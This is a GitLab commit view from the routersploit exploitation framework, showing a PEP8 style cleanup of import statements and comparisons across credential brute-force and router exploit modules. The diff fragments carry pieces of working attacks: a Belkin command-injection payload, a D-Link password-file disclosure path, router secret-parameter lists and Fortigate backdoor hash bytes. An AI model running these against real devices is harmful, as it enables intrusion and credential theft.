Skip to content
Projects
Groups
Snippets
Help
This project
Loading...
Sign in / Register
Toggle navigation
R
routersploit
Overview
Overview
Details
Activity
Cycle Analytics
Repository
Repository
Files
Commits
Branches
Tags
Contributors
Graph
Compare
Charts
Issues
0
Issues
0
List
Board
Labels
Milestones
Merge Requests
0
Merge Requests
0
CI / CD
CI / CD
Pipelines
Jobs
Schedules
Charts
Wiki
Wiki
Snippets
Snippets
Members
Members
Collapse sidebar
Close sidebar
Activity
Graph
Charts
Create a new issue
Jobs
Commits
Issue Boards
Open sidebar
czos-dpend
routersploit
Commits
d4152b25
Commit
d4152b25
authored
Apr 14, 2016
by
Leonardo Lazzaro
Browse files
Options
Browse Files
Download
Email Patches
Plain Diff
fixed some PEP8 errors like mixed tabs and spaces, import *, etc
parent
ebba273c
Show whitespace changes
Inline
Side-by-side
Showing
35 changed files
with
291 additions
and
113 deletions
+291
-113
exceptions.py
routersploit/exceptions.py
+0
-0
interpreter.py
routersploit/interpreter.py
+1
-1
ftp_bruteforce.py
routersploit/modules/creds/ftp_bruteforce.py
+9
-1
ftp_default.py
routersploit/modules/creds/ftp_default.py
+9
-1
http_basic_bruteforce.py
routersploit/modules/creds/http_basic_bruteforce.py
+10
-1
http_basic_default.py
routersploit/modules/creds/http_basic_default.py
+10
-1
http_form_bruteforce.py
routersploit/modules/creds/http_form_bruteforce.py
+17
-9
http_form_default.py
routersploit/modules/creds/http_form_default.py
+17
-9
snmp_bruteforce.py
routersploit/modules/creds/snmp_bruteforce.py
+2
-4
ssh_bruteforce.py
routersploit/modules/creds/ssh_bruteforce.py
+9
-1
ssh_default.py
routersploit/modules/creds/ssh_default.py
+10
-2
telnet_bruteforce.py
routersploit/modules/creds/telnet_bruteforce.py
+11
-4
telnet_default.py
routersploit/modules/creds/telnet_default.py
+11
-3
gateway_auth_bypass.py
routersploit/modules/exploits/2wire/gateway_auth_bypass.py
+6
-3
ar_1004g_password_disclosure.py
...it/modules/exploits/asmax/ar_1004g_password_disclosure.py
+8
-3
ar_804_gu_rce.py
routersploit/modules/exploits/asmax/ar_804_gu_rce.py
+8
-3
rt_n16_password_disclosure.py
...ploit/modules/exploits/asus/rt_n16_password_disclosure.py
+7
-3
g_n150_password_disclosure.py
...oit/modules/exploits/belkin/g_n150_password_disclosure.py
+7
-2
g_plus_info_disclosure.py
...rsploit/modules/exploits/belkin/g_plus_info_disclosure.py
+25
-4
n150_path_traversal.py
routersploit/modules/exploits/belkin/n150_path_traversal.py
+6
-2
n750_rce.py
routersploit/modules/exploits/belkin/n750_rce.py
+10
-5
dir_300_320_615_auth_bypass.py
...oit/modules/exploits/dlink/dir_300_320_615_auth_bypass.py
+6
-3
dir_300_600_615_info_disclosure.py
...modules/exploits/dlink/dir_300_600_615_info_disclosure.py
+7
-3
dir_300_600_rce.py
routersploit/modules/exploits/dlink/dir_300_600_rce.py
+8
-3
dir_645_password_disclosure.py
...oit/modules/exploits/dlink/dir_645_password_disclosure.py
+7
-3
dns_320l_327l_rce.py
routersploit/modules/exploits/dlink/dns_320l_327l_rce.py
+8
-5
dsl_2750b_info_disclosure.py
...ploit/modules/exploits/dlink/dsl_2750b_info_disclosure.py
+8
-4
dwr_932_info_disclosure.py
...rsploit/modules/exploits/dlink/dwr_932_info_disclosure.py
+8
-3
fortigate_os_backdoor.py
...sploit/modules/exploits/fortinet/fortigate_os_backdoor.py
+6
-3
screenos_backdoor.py
routersploit/modules/exploits/juniper/screenos_backdoor.py
+9
-8
wap54gv3_rce.py
routersploit/modules/exploits/linksys/wap54gv3_rce.py
+8
-3
misfortune_cookie.py
routersploit/modules/exploits/multi/misfortune_cookie.py
+6
-4
n300_auth_bypass.py
routersploit/modules/exploits/netgear/n300_auth_bypass.py
+6
-3
dlink_scan.py
routersploit/modules/scanners/dlink_scan.py
+8
-4
utils.py
routersploit/utils.py
+3
-2
No files found.
routersploit/exceptions.py
View file @
d4152b25
routersploit/interpreter.py
View file @
d4152b25
...
...
@@ -226,7 +226,7 @@ class RoutersploitInterpreter(BaseInterpreter):
if
self
.
current_module
:
try
:
return
self
.
module_prompt_template
.
format
(
host
=
self
.
prompt_hostname
,
module
=
self
.
module_metadata
[
'name'
])
except
(
AttributeError
,
KeyError
)
as
e
:
except
(
AttributeError
,
KeyError
):
return
self
.
module_prompt_template
.
format
(
host
=
self
.
prompt_hostname
,
module
=
"UnnamedModule"
)
else
:
return
self
.
raw_prompt_template
.
format
(
host
=
self
.
prompt_hostname
)
...
...
routersploit/modules/creds/ftp_bruteforce.py
View file @
d4152b25
...
...
@@ -3,7 +3,15 @@ import ftplib
import
socket
import
itertools
from
routersploit
import
*
from
routersploit
import
(
exploits
,
wordlists
,
print_status
,
print_error
,
LockedIterator
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
routersploit/modules/creds/ftp_default.py
View file @
d4152b25
...
...
@@ -2,7 +2,15 @@ import threading
import
ftplib
import
socket
from
routersploit
import
*
from
routersploit
import
(
exploits
,
wordlists
,
print_status
,
print_error
,
LockedIterator
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
routersploit/modules/creds/http_basic_bruteforce.py
View file @
d4152b25
...
...
@@ -2,7 +2,16 @@ import threading
import
requests
import
itertools
from
routersploit
import
*
from
routersploit
import
(
exploits
,
wordlists
,
print_status
,
print_error
,
LockedIterator
,
print_success
,
print_table
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
routersploit/modules/creds/http_basic_default.py
View file @
d4152b25
import
threading
import
requests
from
routersploit
import
*
from
routersploit
import
(
exploits
,
wordlists
,
print_status
,
print_error
,
LockedIterator
,
print_success
,
print_table
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
routersploit/modules/creds/http_form_bruteforce.py
View file @
d4152b25
...
...
@@ -3,7 +3,16 @@ import requests
import
itertools
from
bs4
import
BeautifulSoup
from
routersploit
import
*
from
routersploit
import
(
exploits
,
wordlists
,
print_status
,
print_error
,
LockedIterator
,
print_success
,
print_table
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -37,7 +46,7 @@ class Exploit(exploits.Exploit):
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
try
:
r
=
r
equests
.
get
(
url
)
requests
.
get
(
url
)
except
(
requests
.
exceptions
.
MissingSchema
,
requests
.
exceptions
.
InvalidSchema
):
print_error
(
"Invalid URL format:
%
s"
%
url
)
return
...
...
@@ -49,7 +58,7 @@ class Exploit(exploits.Exploit):
if
self
.
form
==
'auto'
:
self
.
data
=
self
.
detect_form
()
if
self
.
data
==
None
:
if
self
.
data
is
None
:
print_error
(
"Could not detect form"
)
return
else
:
...
...
@@ -108,7 +117,7 @@ class Exploit(exploits.Exploit):
form
=
soup
.
find
(
"form"
)
if
form
==
None
:
if
form
is
None
:
return
None
if
len
(
form
)
>
0
:
...
...
@@ -116,14 +125,14 @@ class Exploit(exploits.Exploit):
for
inp
in
form
.
findAll
(
"input"
):
if
'name'
in
inp
.
attrs
.
keys
():
if
inp
.
attrs
[
'name'
]
.
lower
()
in
[
"username"
,
"user"
,
"login"
]:
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{USER}}"
)
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{USER}}"
)
elif
inp
.
attrs
[
'name'
]
.
lower
()
in
[
"password"
,
"pass"
]:
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{PASS}}"
)
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{PASS}}"
)
else
:
if
'value'
in
inp
.
attrs
.
keys
():
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
inp
.
attrs
[
'value'
])
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
inp
.
attrs
[
'value'
])
else
:
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
)
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
)
return
'&'
.
join
(
res
)
def
target_function
(
self
,
running
,
data
):
...
...
@@ -153,4 +162,3 @@ class Exploit(exploits.Exploit):
break
print_status
(
name
,
'process is terminated.'
)
routersploit/modules/creds/http_form_default.py
View file @
d4152b25
...
...
@@ -2,7 +2,16 @@ import threading
import
requests
from
bs4
import
BeautifulSoup
from
routersploit
import
*
from
routersploit
import
(
exploits
,
wordlists
,
print_status
,
print_error
,
LockedIterator
,
print_success
,
print_table
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -35,7 +44,7 @@ class Exploit(exploits.Exploit):
url
=
sanitize_url
(
"{}:{}{}"
.
format
(
self
.
target
,
self
.
port
,
self
.
path
))
try
:
r
=
r
equests
.
get
(
url
)
requests
.
get
(
url
)
except
(
requests
.
exceptions
.
MissingSchema
,
requests
.
exceptions
.
InvalidSchema
):
print_error
(
"Invalid URL format:
%
s"
%
url
)
return
...
...
@@ -47,7 +56,7 @@ class Exploit(exploits.Exploit):
if
self
.
form
==
'auto'
:
self
.
data
=
self
.
detect_form
()
if
self
.
data
==
None
:
if
self
.
data
is
None
:
print_error
(
"Could not detect form"
)
return
else
:
...
...
@@ -101,7 +110,7 @@ class Exploit(exploits.Exploit):
form
=
soup
.
find
(
"form"
)
if
form
==
None
:
if
form
is
None
:
return
None
if
len
(
form
)
>
0
:
...
...
@@ -109,14 +118,14 @@ class Exploit(exploits.Exploit):
for
inp
in
form
.
findAll
(
"input"
):
if
'name'
in
inp
.
attrs
.
keys
():
if
inp
.
attrs
[
'name'
]
.
lower
()
in
[
"username"
,
"user"
,
"login"
]:
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{USER}}"
)
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{USER}}"
)
elif
inp
.
attrs
[
'name'
]
.
lower
()
in
[
"password"
,
"pass"
]:
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{PASS}}"
)
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
"{{PASS}}"
)
else
:
if
'value'
in
inp
.
attrs
.
keys
():
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
inp
.
attrs
[
'value'
])
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
+
inp
.
attrs
[
'value'
])
else
:
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
)
res
.
append
(
inp
.
attrs
[
'name'
]
+
"="
)
return
'&'
.
join
(
res
)
def
target_function
(
self
,
running
,
data
):
...
...
@@ -146,4 +155,3 @@ class Exploit(exploits.Exploit):
break
print_status
(
name
,
'process is terminated.'
)
routersploit/modules/creds/snmp_bruteforce.py
View file @
d4152b25
import
threading
import
itertools
import
netsnmp
import
socket
from
routersploit.utils
import
print_status
,
print_success
,
print_error
,
print_table
,
LockedIterator
from
routersploit
import
exploits
...
...
@@ -57,9 +55,9 @@ class Exploit(exploits.Exploit):
string
=
data
.
next
()
.
strip
()
bindvariable
=
netsnmp
.
Varbind
(
".1.3.6.1.2.1.1.1.0"
)
res
=
netsnmp
.
snmpget
(
bindvariable
,
Version
=
1
,
DestHost
=
address
,
Community
=
string
)
res
=
netsnmp
.
snmpget
(
bindvariable
,
Version
=
1
,
DestHost
=
address
,
Community
=
string
)
if
res
[
0
]
!=
None
:
if
res
[
0
]
is
not
None
:
running
.
clear
()
print_success
(
"{}: Valid community string found!"
.
format
(
name
),
string
)
self
.
strings
.
append
(
tuple
([
string
]))
...
...
routersploit/modules/creds/ssh_bruteforce.py
View file @
d4152b25
...
...
@@ -3,7 +3,15 @@ import itertools
import
socket
import
paramiko
from
routersploit
import
*
from
routersploit
import
(
exploits
,
wordlists
,
print_status
,
print_error
,
LockedIterator
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
routersploit/modules/creds/ssh_default.py
View file @
d4152b25
...
...
@@ -2,7 +2,15 @@ import threading
import
paramiko
import
socket
from
routersploit
import
*
from
routersploit
import
(
exploits
,
wordlists
,
print_status
,
print_error
,
LockedIterator
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -72,7 +80,7 @@ class Exploit(exploits.Exploit):
break
except
paramiko
.
ssh_exception
.
SSHException
as
err
:
ssh
.
close
()
print_error
(
name
,
err
,
"Username: '{}' Password: '{}'"
.
format
(
user
,
password
))
print_error
(
name
,
err
,
"Username: '{}' Password: '{}'"
.
format
(
user
,
password
))
else
:
running
.
clear
()
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
)
...
...
routersploit/modules/creds/telnet_bruteforce.py
View file @
d4152b25
...
...
@@ -2,7 +2,15 @@ import threading
import
itertools
import
telnetlib
from
routersploit
import
*
from
routersploit
import
(
exploits
,
wordlists
,
print_status
,
print_error
,
LockedIterator
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -79,13 +87,13 @@ class Exploit(exploits.Exploit):
tn
.
write
(
password
+
"
\r\n
"
)
tn
.
write
(
"
\r\n
"
)
(
i
,
obj
,
res
)
=
tn
.
expect
([
"Incorrect"
,
"incorrect"
],
5
)
(
i
,
obj
,
res
)
=
tn
.
expect
([
"Incorrect"
,
"incorrect"
],
5
)
tn
.
close
()
if
i
!=
-
1
:
print_error
(
name
,
"Username: '{}' Password: '{}'"
.
format
(
user
,
password
))
else
:
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
]))
or
len
(
res
)
>
500
:
# big banner e.g. mikrotik
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
]))
or
len
(
res
)
>
500
:
# big banner e.g. mikrotik
running
.
clear
()
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
)
self
.
credentials
.
append
((
user
,
password
))
...
...
@@ -100,5 +108,4 @@ class Exploit(exploits.Exploit):
return
continue
print_status
(
name
,
'thread is terminated.'
)
routersploit/modules/creds/telnet_default.py
View file @
d4152b25
import
threading
import
telnetlib
from
routersploit
import
*
from
routersploit
import
(
exploits
,
wordlists
,
print_status
,
print_error
,
LockedIterator
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -73,13 +81,13 @@ class Exploit(exploits.Exploit):
tn
.
write
(
password
+
"
\r\n
"
)
tn
.
write
(
"
\r\n
"
)
(
i
,
obj
,
res
)
=
tn
.
expect
([
"Incorrect"
,
"incorrect"
],
5
)
(
i
,
obj
,
res
)
=
tn
.
expect
([
"Incorrect"
,
"incorrect"
],
5
)
tn
.
close
()
if
i
!=
-
1
:
print_error
(
name
,
"Username: '{}' Password: '{}'"
.
format
(
user
,
password
))
else
:
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
]))
or
len
(
res
)
>
500
:
# big banner e.g. mikrotik
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
]))
or
len
(
res
)
>
500
:
# big banner e.g. mikrotik
running
.
clear
()
print_success
(
"{}: Authentication succeed!"
.
format
(
name
),
user
,
password
)
self
.
credentials
.
append
((
user
,
password
))
...
...
routersploit/modules/exploits/2wire/gateway_auth_bypass.py
View file @
d4152b25
import
requests
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -62,4 +66,3 @@ class Exploit(exploits.Exploit):
return
True
# target vulnerable
return
False
# target not vulnerable
routersploit/modules/exploits/asmax/ar_1004g_password_disclosure.py
View file @
d4152b25
import
requests
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
sanitize_url
,
print_status
,
print_error
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -60,7 +67,6 @@ class Exploit(exploits.Exploit):
else
:
print_error
(
"Credentials could not be found"
)
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/password.cgi"
.
format
(
self
.
target
,
self
.
port
))
...
...
@@ -74,4 +80,3 @@ class Exploit(exploits.Exploit):
return
True
# target vulnerable
return
False
# target not vulnerable
routersploit/modules/exploits/asmax/ar_804_gu_rce.py
View file @
d4152b25
import
requests
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_status
,
print_error
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -27,7 +33,7 @@ class Exploit(exploits.Exploit):
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
if
self
.
check
()
==
True
:
if
self
.
check
()
is
True
:
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
self
.
command_loop
()
...
...
@@ -65,4 +71,3 @@ class Exploit(exploits.Exploit):
return
True
return
False
routersploit/modules/exploits/asus/rt_n16_password_disclosure.py
View file @
d4152b25
import
requests
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
sanitize_url
,
print_error
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -56,7 +62,6 @@ class Exploit(exploits.Exploit):
else
:
print_error
(
"Credentials could not be found"
)
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/error_page.htm"
.
format
(
self
.
target
,
self
.
port
))
...
...
@@ -71,4 +76,3 @@ class Exploit(exploits.Exploit):
return
True
# target vulnerable
return
False
# target not vulnerable
routersploit/modules/exploits/belkin/g_n150_password_disclosure.py
View file @
d4152b25
import
requests
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
sanitize_url
,
print_error
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -66,4 +72,3 @@ class Exploit(exploits.Exploit):
return
True
# target vulnerable
return
False
# target is not vulnerable
routersploit/modules/exploits/belkin/g_plus_info_disclosure.py
View file @
d4152b25
import
requests
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
sanitize_url
,
print_error
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -38,7 +44,15 @@ class Exploit(exploits.Exploit):
print_error
(
"Connection error:
%
s"
%
url
)
return
var
=
[
'pppoe_username'
,
'pppoe_password'
,
'wl0_pskkey'
,
'wl0_key1'
,
'mradius_password'
,
'mradius_secret'
,
'httpd_password'
,
'http_passwd'
,
'pppoe_passwd'
]
var
=
[
'pppoe_username'
,
'pppoe_password'
,
'wl0_pskkey'
,
'wl0_key1'
,
'mradius_password'
,
'mradius_secret'
,
'httpd_password'
,
'http_passwd'
,
'pppoe_passwd'
]
data
=
[]
for
v
in
var
:
...
...
@@ -65,10 +79,17 @@ class Exploit(exploits.Exploit):
except
:
return
None
# could not verify
var
=
[
'pppoe_username'
,
'pppoe_password'
,
'wl0_pskkey'
,
'wl0_key1'
,
'mradius_password'
,
'mradius_secret'
,
'httpd_password'
,
'http_passwd'
,
'pppoe_passwd'
]
var
=
[
'pppoe_username'
,
'pppoe_password'
,
'wl0_pskkey'
,
'wl0_key1'
,
'mradius_password'
,
'mradius_secret'
,
'httpd_password'
,
'http_passwd'
,
'pppoe_passwd'
]
if
any
(
map
(
lambda
x
:
x
in
res
,
var
)):
return
True
# target vulnerable
return
False
# target is not vulnerable
routersploit/modules/exploits/belkin/n150_path_traversal.py
View file @
d4152b25
import
requests
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -61,4 +66,3 @@ class Exploit(exploits.Exploit):
return
True
# target vulnerable
return
False
# target is not vulnerable
routersploit/modules/exploits/belkin/n750_rce.py
View file @
d4152b25
import
requests
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_status
,
print_error
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -29,7 +35,7 @@ class Exploit(exploits.Exploit):
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
if
self
.
check
()
==
True
:
if
self
.
check
()
is
True
:
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
self
.
command_loop
()
...
...
@@ -44,7 +50,7 @@ class Exploit(exploits.Exploit):
def
execute
(
self
,
cmd
):
url
=
sanitize_url
(
"{}:{}/login.cgi.php"
.
format
(
self
.
target
,
self
.
port
))
headers
=
{
u'Content-Type'
:
u'application/x-www-form-urlencoded'
}
data
=
"GO=&jump="
+
"A"
*
1379
+
";{};&ps=
\n\n
"
.
format
(
cmd
)
data
=
"GO=&jump="
+
"A"
*
1379
+
";{};&ps=
\n\n
"
.
format
(
cmd
)
try
:
r
=
requests
.
post
(
url
,
headers
=
headers
,
data
=
data
,
verify
=
False
)
...
...
@@ -60,7 +66,7 @@ class Exploit(exploits.Exploit):
# todo random mark
url
=
sanitize_url
(
"{}:{}/login.cgi"
.
format
(
self
.
target
,
self
.
port
))
headers
=
{
u'Content-Type'
:
u'application/x-www-form-urlencoded'
}
data
=
"GO=&jump="
+
"A"
*
1379
+
";echo 9fdbd928b52c1ef61615a6fd2e8b49af;&ps=
\n\n
"
data
=
"GO=&jump="
+
"A"
*
1379
+
";echo 9fdbd928b52c1ef61615a6fd2e8b49af;&ps=
\n\n
"
try
:
r
=
requests
.
post
(
url
,
headers
=
headers
,
data
=
data
,
verify
=
False
)
...
...
@@ -72,4 +78,3 @@ class Exploit(exploits.Exploit):
return
True
# target vulnerable
return
False
# target is not vulnerable
routersploit/modules/exploits/dlink/dir_300_320_615_auth_bypass.py
View file @
d4152b25
import
requests
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -64,4 +68,3 @@ class Exploit(exploits.Exploit):
return
True
# target vulnerable
return
False
# target not vulnerable
routersploit/modules/exploits/dlink/dir_300_600_615_info_disclosure.py
View file @
d4152b25
import
requests
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
sanitize_url
,
print_error
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -52,7 +58,6 @@ class Exploit(exploits.Exploit):
else
:
print_error
(
"Credentials could not be found"
)
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd"
.
format
(
self
.
target
,
self
.
port
))
...
...
@@ -67,4 +72,3 @@ class Exploit(exploits.Exploit):
return
True
# target vulnerable
return
False
# target not vulnerable
routersploit/modules/exploits/dlink/dir_300_600_rce.py
View file @
d4152b25
import
requests
from
routersploit
import
*
from
routersploit
import
(
exploits
,
sanitize_url
,
print_error
,
print_success
,
print_status
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -30,7 +36,7 @@ class Exploit(exploits.Exploit):
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
if
self
.
check
()
==
True
:
if
self
.
check
()
is
True
:
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
self
.
command_loop
()
...
...
@@ -72,4 +78,3 @@ class Exploit(exploits.Exploit):
return
True
return
False
routersploit/modules/exploits/dlink/dir_645_password_disclosure.py
View file @
d4152b25
import
requests
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
sanitize_url
,
print_error
,
print_success
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -57,7 +63,6 @@ class Exploit(exploits.Exploit):
else
:
print_error
(
"Credentials could not be found"
)
def
check
(
self
):
# address and parameters
url
=
sanitize_url
(
"{}:{}/getcfg.php"
.
format
(
self
.
target
,
self
.
port
))
...
...
@@ -78,4 +83,3 @@ class Exploit(exploits.Exploit):
return
True
# target vulnerable
return
False
# target not vulnerable
routersploit/modules/exploits/dlink/dns_320l_327l_rce.py
View file @
d4152b25
import
requests
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_status
,
print_error
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -29,7 +35,7 @@ class Exploit(exploits.Exploit):
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
if
self
.
check
()
==
True
:
if
self
.
check
()
is
True
:
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
self
.
command_loop
()
...
...
@@ -65,13 +71,10 @@ class Exploit(exploits.Exploit):
try
:
r
=
requests
.
get
(
url
)
res
=
r
.
text
except
:
return
None
if
"9fdbd928b52c1ef61615a6fd2e8b49af"
in
r
:
return
True
return
False
routersploit/modules/exploits/dlink/dsl_2750b_info_disclosure.py
View file @
d4152b25
import
requests
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
sanitize_url
,
print_table
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -50,7 +56,7 @@ class Exploit(exploits.Exploit):
val
=
re
.
findall
(
regexp
,
res
)
if
len
(
val
):
creds
.
append
((
d
,
val
[
0
]))
creds
.
append
((
d
,
val
[
0
]))
if
len
(
creds
):
print_success
(
"Credentials found!"
)
...
...
@@ -61,7 +67,6 @@ class Exploit(exploits.Exploit):
else
:
print_error
(
"Credentials could not be found"
)
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/hidden_info.html"
.
format
(
self
.
target
,
self
.
port
))
...
...
@@ -75,4 +80,3 @@ class Exploit(exploits.Exploit):
return
True
# target vulnerable
return
False
# target not vulnerable
routersploit/modules/exploits/dlink/dwr_932_info_disclosure.py
View file @
d4152b25
import
requests
import
json
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
sanitize_url
,
print_table
,
print_status
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -59,7 +66,6 @@ class Exploit(exploits.Exploit):
headers
=
(
"Parameter"
,
"Value"
)
print_table
(
headers
,
*
rows
)
def
check
(
self
):
url
=
sanitize_url
(
"{}:{}/cgi-bin/dget.cgi?cmd=wifi_AP1_ssid,wifi_AP1_hidden,wifi_AP1_passphrase,wifi_AP1_passphrase_wep,wifi_AP1_security_mode,wifi_AP1_enable,get_mac_filter_list,get_mac_filter_switch,get_client_list,get_mac_address,get_wps_dev_pin,get_wps_mode,get_wps_enable,get_wps_current_time&_=1458458152703"
.
format
(
self
.
target
,
self
.
port
))
...
...
@@ -73,4 +79,3 @@ class Exploit(exploits.Exploit):
return
True
# target is vulnerable
return
False
# target not vulnerable
routersploit/modules/exploits/fortinet/fortigate_os_backdoor.py
View file @
d4152b25
...
...
@@ -8,7 +8,12 @@ import tty
import
sys
from
paramiko.py3compat
import
u
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
print_status
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -92,7 +97,6 @@ class Exploit(exploits.Exploit):
finally
:
termios
.
tcsetattr
(
sys
.
stdin
,
termios
.
TCSADRAIN
,
oldtty
)
def
check
(
self
):
client
=
paramiko
.
SSHClient
()
client
.
set_missing_host_key_policy
(
paramiko
.
AutoAddPolicy
())
...
...
@@ -127,4 +131,3 @@ class Exploit(exploits.Exploit):
m
.
update
(
'
\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70
'
)
h
=
'AK1'
+
base64
.
b64encode
(
'
\x00
'
*
12
+
m
.
digest
())
return
[
h
]
routersploit/modules/exploits/juniper/screenos_backdoor.py
View file @
d4152b25
import
paramiko
import
telnetlib
import
select
import
socket
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -58,12 +60,12 @@ class Exploit(exploits.Exploit):
tn
.
write
(
self
.
password
+
"
\r\n
"
)
tn
.
write
(
"
\r\n
"
)
(
i
,
obj
,
res
)
=
tn
.
expect
([
"Incorrect"
,
"incorrect"
],
5
)
(
i
,
obj
,
res
)
=
tn
.
expect
([
"Incorrect"
,
"incorrect"
],
5
)
if
i
!=
-
1
:
return
False
else
:
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
])):
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
])):
print_success
(
"Telnet - Successful authentication"
)
tn
.
write
(
"
\r\n
"
)
tn
.
interact
()
...
...
@@ -92,13 +94,13 @@ class Exploit(exploits.Exploit):
tn
.
write
(
self
.
password
+
"
\r\n
"
)
tn
.
write
(
"
\r\n
"
)
(
i
,
obj
,
res
)
=
tn
.
expect
([
"Incorrect"
,
"incorrect"
],
5
)
(
i
,
obj
,
res
)
=
tn
.
expect
([
"Incorrect"
,
"incorrect"
],
5
)
tn
.
close
()
if
i
!=
-
1
:
return
False
else
:
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
])):
if
any
(
map
(
lambda
x
:
x
in
res
,
[
"#"
,
"$"
,
">"
])):
tn
.
close
()
return
True
tn
.
close
()
...
...
@@ -106,4 +108,3 @@ class Exploit(exploits.Exploit):
return
False
return
False
routersploit/modules/exploits/linksys/wap54gv3_rce.py
View file @
d4152b25
import
requests
import
re
from
routersploit
import
*
from
routersploit
import
(
exploits
,
print_success
,
print_error
,
print_status
,
sanitize_url
,
)
class
Exploit
(
exploits
.
Exploit
):
...
...
@@ -28,7 +34,7 @@ class Exploit(exploits.Exploit):
port
=
exploits
.
Option
(
80
,
'Target Port'
)
def
run
(
self
):
if
self
.
check
()
==
True
:
if
self
.
check
()
is
True
:
print_success
(
"Target is vulnerable"
)
print_status
(
"Invoking command loop..."
)
self
.
command_loop
()
...
...
